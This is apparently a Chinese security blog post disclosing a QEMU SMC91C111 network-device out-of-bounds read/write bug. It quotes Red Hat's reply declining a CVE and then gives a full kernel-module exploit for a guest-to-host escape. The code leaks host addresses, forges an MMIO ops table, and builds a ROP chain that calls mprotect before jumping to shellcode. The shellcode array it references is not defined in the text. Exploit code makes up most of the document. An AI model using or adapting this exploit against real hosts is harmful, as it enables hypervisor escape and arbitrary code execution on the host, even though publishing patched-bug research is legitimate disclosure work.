A qemu escape - SMC911 exploit

中午整理Macbook硬盘的时候发现了这个半年前看到的然而并没有要来CVE号的漏洞。
嗯、反正也修了半年了,放个exploit……感谢白兔师傅和谢大哥的帮助。纪念那段从来没有挖到过qemu CVE的时光……

Mail

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Hello Azure,

On Mon, 24 Oct 2016 09:02:19 GMT, azureyang# wrote:
> I found a OOB read/write bug that can cause code execution on host.
> The relation code is in
> hw/net/smc91c111.c:447
> s->data[n][p] = value;
> hw/net/smc91c111.c:553
> return s->data[n][p];
>
> failed to check the border of the passed value, the packet_num and ptr
> can be set by guest mmio operations. With the overwrite of s->mmio-
> >ops, code execution can be achieved.

Thank you so much for reporting this issue. A patch has been sent upstream to fix this issue.

IIUC, the SMSC91C111 ethernet controller is used on the ARM Versatile EP and other similar platforms. Which are mostly used in the prototype development environments. These platforms are not generally used with KVM to provide virtualised guest environments. We could not consider this issue for a CVE as the upstream Qemu project does not consider these issues to be security relevant.

Please see:
->
http://wiki.qemu.org/SecurityProcess#How_impact_and_severity_of_a_bug_is_decided

Thank you so much!
---
Prasad J Pandit / Red Hat Product Security

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
#include <linux/init.h>
#include <linux/module.h>
#include <linux/slab.h>

#define SMC911_BASE (unsigned char *)0xd09a6000

void write_on()
{
unsigned char * addr = SMC911_BASE;
addr[14] = 2;
}

void set_addr(uint64_t offset)
{
unsigned char * addr = SMC911_BASE;
uint64_t ptr = offset%0x800;
addr[2] = offset/0x800;
addr[6] = ptr&0xff;
addr[7] = ptr>>8;
}

void set_uint8(uint64_t offset,uint8_t value)
{
unsigned char * addr = SMC911_BASE;
set_addr(offset);
addr[8] = value;
}

void set_uint16(uint64_t offset,uint16_t value)
{
unsigned char * addr = SMC911_BASE;
set_addr(offset);
*(uint16_t *)&addr[8] = value;
}

void set_uint32(uint64_t offset,uint32_t value)
{
unsigned char * addr = SMC911_BASE;
set_addr(offset);
*(uint32_t *)&addr[8] = value;
}

void set_uint64(uint64_t offset,uint64_t value)
{
unsigned char * addr = SMC911_BASE;
set_addr(offset);
*(uint32_t *)&addr[8] = value&0xFFFFFFFF;
set_addr(offset+4);
*(uint32_t *)&addr[8] = value>>32;
}

void set_memset(uint64_t offset,uint64_t value,uint64_t cbmem)
{
uint64_t i = 0;
for (i = 0;i<cbmem;i+=8)
{
set_uint64(offset+i,value);
}
}

void set_memcpy(uint64_t dst_offset,void * src,uint64_t cbmem)
{
uint8_t * uc_src = (uint8_t*)src;
uint64_t i = 0;
for (i = 0;i<cbmem;i+=8)
{
set_uint64(dst_offset+i,*(uint64_t *)(uc_src+i));
}
}

uint8_t get_uint8(uint64_t offset)
{
unsigned char * addr = SMC911_BASE;
set_addr(offset);
return addr[8];
}

uint16_t get_uint16(uint64_t offset)
{
unsigned char * addr = SMC911_BASE;
set_addr(offset);
return *(uint16_t *)&addr[8];
}

uint32_t get_uint32(uint64_t offset)
{
unsigned char * addr = SMC911_BASE;
set_addr(offset);
return *(uint32_t *)&addr[8];
}

uint64_t get_uint64(uint64_t offset)
{
unsigned char * addr = SMC911_BASE;
uint64_t low = 0,high = 0;
set_addr(offset);
low = *(uint32_t *)&addr[8];
set_addr(offset+4);
high = *(uint32_t *)&addr[8];
return (uint64_t)high<<32 | low;
}

//qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile -initrd initrd.img-3.2.0-4-versatile -hda debian_wheezy_armel_standard.qcow2 -append "root=/dev/sda1" -net nic,model=smc91c111 -net user
//mprotect 0x7f11879a2eb0
//libcdata 0x7f1187c65b78
//delta = 0x2c2cc8
//offset = 0x2764
void smc_test(void)
{
unsigned char * addr = SMC911_BASE;

uint64_t rop [] = {
0x00000000006bc31c,//pop rdi; ret;
0,
0x000000000052ac4c,//pop rsi; ret;
0x10000,
0x0000000000517ea5,//pop rdx; ret;
0x0000000000000007,//RWE
0x7f6a14afbeb0,//mprotect
0x000000000052ac4c,//pop rsi; ret;
0,
0x00bc5c1b//jmp rsi;
};
uint32_t original_ops = 0, card_base = 0,data_offset=0x2384;
uint64_t main_arena = 0;
write_on();
original_ops = get_uint32(0x43d0-data_offset);
card_base = get_uint32(0x20b4)-0x4430;

printk("Host card ops = 0x%0X\ncard base:0x%0X\nfake_mmio_ops:0x%0X\n",original_ops,card_base,card_base+data_offset+0x1800);
set_memset(0x1800,0,0x80);
set_uint32(0x1800+1,0x007e29ee);//pop rsi; pop rsp; ret 0x66ff
set_uint64(0x1800+80,0x6161616162616161);//readb
set_uint64(0x1800+88,0x6761616168616161);//readw
set_uint64(0x1800+96,0x6361616164616161);//readl
set_uint64(0x1800+104,0x696161616a616161);//writeb
set_uint64(0x1800+112,0x6561616166616161);//writew
set_uint64(0x1800+120,0x00ba8c41);//writel;push rdx;call qword ptr [rbx+1]
set_uint64(0x1800+0x80,rop[0]+1);
main_arena = get_uint64(0x2764);
rop[1] = card_base&0xFFFFFFFFFFFFF000;
rop[6] = main_arena - 0x2c2cc8;
rop[8] = card_base+data_offset+0x1888;
set_memcpy(0x1800+0x66FF+0x88,rop,sizeof(rop));
set_memcpy(0x1800+0x88,shellcode,sizeof(shellcode));
set_uint32(0x43d0-data_offset,card_base+data_offset+0x1800);
*(uint32_t *)&addr[0] = card_base+data_offset+0x1800+0x80;//boom! Can only write low part to rdx because use 32 bit arm,
//aarch64 can overwrite mmio->ops->valid->max_access_size and mmio->ops->write to achieve extended register control
//rsi -> 0-0xf
//rdx -> 0-0xFFFFFFFF
//rbx -> controled memory
}

int init_module(void)
{
smc_test();
return 0;
}

void cleanup_module(void)
{
}